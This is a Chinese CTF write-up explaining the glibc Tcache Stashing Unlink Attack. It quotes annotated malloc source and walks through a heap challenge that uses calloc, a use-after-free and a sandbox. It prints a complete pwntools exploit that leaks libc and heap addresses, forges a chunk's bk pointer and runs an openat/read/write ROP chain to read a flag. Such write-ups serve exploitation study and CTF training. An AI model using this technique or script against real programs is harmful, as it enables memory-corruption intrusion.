常回家看看之Tcache Stashing Unlink Attack
前言:在开始了解这个攻击手法的前提,需要先了解一个函数也就是calloc函数,众所周知,当libc版本大于等于2.27的时候会引入tcachebin,而Tcache Stashing Unlink Attack就是发生在2.27版本以上,那么这个和calloc有什么关系呢,周知所众,当tcahchebin里面有符合条件的空闲堆块的时候,malloc会优先去tcachebin里面拿堆块,然而calloc不是这样,它会越过tcachebin来拿取堆块,这个特殊的机制,还有接下来的一个忽略的检查导致Tcache Stashing Unlink Attack的发生
smallbin:
当tcachebin里面的chunk不满,而smallbin里面有两个及以上的堆块的时候,通过calloc申请chunk的时候会取smallbin里面的chunk,因为此时的tcachebin不满,那么剩下的smallbin会放入tachchebin中,而这其中只对放入tcachebin的第一个chunk做了检查,那么可以把第二个chunk的bk指针进行修改,那么到tcachebin之后最后的fake_chunk的fd既可以执行main_arena+96的位置,当然在一些情况下还可以直接进入tcachebin伪造chunk
具体的漏洞源码和解释引用一下zikh26师傅的博客关于tcache stashing unlink attack的学习总结 | ZIKH26's Blog
if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) //victim就是要脱链的堆块,也就是small bin里的最后一个 //这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链 { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim))//对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim //如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常 malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb);//设置下一个(高地址)chunk的prev_inuse位 bin->bk = bck;//将victim脱链 bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache.*/ size_t tc_idx = csize2tidx (nb);//获取size对应的tcache索引 if (tcache && tc_idx < mp_.tcache_bins)//如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围 { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over.*/ while (tcache->counts < mp_.tcache_count//如果tcache bin没有满 && (tc_victim = last (bin)) != bin)//如果small bin不为空,tc_victim为small bin中的最后一个堆块 { if (tc_victim != 0) { bck = tc_victim->bk;//这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针 set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck;//将tc_victim从small bin中脱链 bck->fd = bin;//如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96) tcache_put (tc_victim, tc_idx);//将tc_victim链入tc_idx这条链 } } }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
例题:
蜀道山smash
保护策略
ida逆向分析
这里是开启了沙箱,可以先看看规则
禁用了execv以及open,那么还可以使用openat来进行orw读取flag
有个堆菜单
有个选项5,是存在溢出的
但是因为这个位置一开始是0的导致读入字节为0
但是又发现add函数是使用的calloc,那么可以考虑使用Tcache Stashing Unlink Attack来将此处写入main_arena+96很大的一个地址
那么造成栈溢出,正常rop即可
free函数存在uaf漏洞,那么可以泄露libc和heap地址
这里使用的0x100的堆块,那么就要伪造堆块,修改第一个堆块的bk指针
这里伪造的堆块是紧邻着修改chunk的上一个chunk
接下来继续伪造堆块,size位和bk指针
继续使用calloc申请一个堆块,那么即可触发Tcache Stashing Unlink Attack
那么接下来就是正常的rop即可
EXP:
from gt import *con("amd64")io = process("./sma")# io = remote("gz.imxbt.cn",20818)def add(size): io.sendlineafter("choice:","1") io.sendlineafter("size:",str(size))def free(index): io.sendlineafter("choice:","2") io.sendlineafter("Idx:",str(index))def edit(index,msg): io.sendlineafter("choice:","3") io.sendlineafter("Idx:",str(index)) io.sendafter("Content:",msg)def show(index): io.sendlineafter("choice:","4") io.sendlineafter("Idx:",str(index))def backdoor(): io.sendlineafter("choice:","5")for i in range(10): add(0x280)add(0x80) #10for i in range(5): add(0xf0)for i in range(7): free(i)for i in range(5): free(11+i)free(7)#gdb.attach(io)show(7)io.recv(1)libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0suc("libc_base",libc_base)gdb.attach(io)add(0x180) #11add(0x3a0) #12free(9)add(0x180) #13add(0x3a0) #14io.recvuntil("Add Ptr: ")heap_base = int(io.recv(10),16) -0x3260 -0x2d0 -0x230suc("heap_base",heap_base)fd = heap_base + 0x27f0suc("fd",fd)heap = heap_base+0x2b90suc("heap",heap)# gdb.attach(io)edit(9,b'a'*0x180+p64(0)+p64(0x101)+p64(fd)+p64(heap_base+0x2b90))edit(9,p64(0)+p64(0x101)+p64(0)+p64(0x00000000004040C0-0x10)+b'/flag\x00')add(0xf0)io.sendlineafter("choice:","5")payload = b'b'*0x38pop_rax = libc_base + 0x0000000000036174pop_rdi = libc_base + 0x0000000000023b6apop_rsi = libc_base + 0x000000000002601fpop_rdx_r12 = libc_base + 0x0000000000119431syscall = libc_base + 0x00000000000630a9flag_addr = heap+0x20# gdb.attach(io)payload += p64(pop_rax) + p64(257)payload += p64(pop_rdi) + p64(0xffffff9c) payload += p64(pop_rsi) + p64(flag_addr)payload += p64(pop_rdx_r12) + p64(0) + p64(0)payload += p64(syscall)# readpayload += p64(pop_rax) + p64(0)payload += p64(pop_rdi) + p64(3)payload += p64(pop_rsi) + p64(flag_addr)payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)payload += p64(syscall)# writepayload += p64(pop_rax) + p64(1)payload += p64(pop_rdi) + p64(1)payload += p64(pop_rsi) + p64(flag_addr)payload += p64(pop_rdx_r12) + p64(0x100) + p64(0)payload += p64(syscall)# gdb.attach(io)io.send(payload)# add(0xe0)# io.recvuntil("Add Ptr: ")# heap_base = int(io.recv(10),16) -0x2eb0# suc("heap_base",heap_base)# gdb.attach(io)io.interactive()总结
Tcache Stashing Unlink Attack在calloc申请堆块的情况下无疑是一种不错的选择,它继承了2.29之后unsortbin attack的特性,同时在一定情况下还可以任意地址申请,是一个不错的攻击方法,因为平常遇到的有点少,但是还是得了解一下攻击方法什么的。
页:
[1]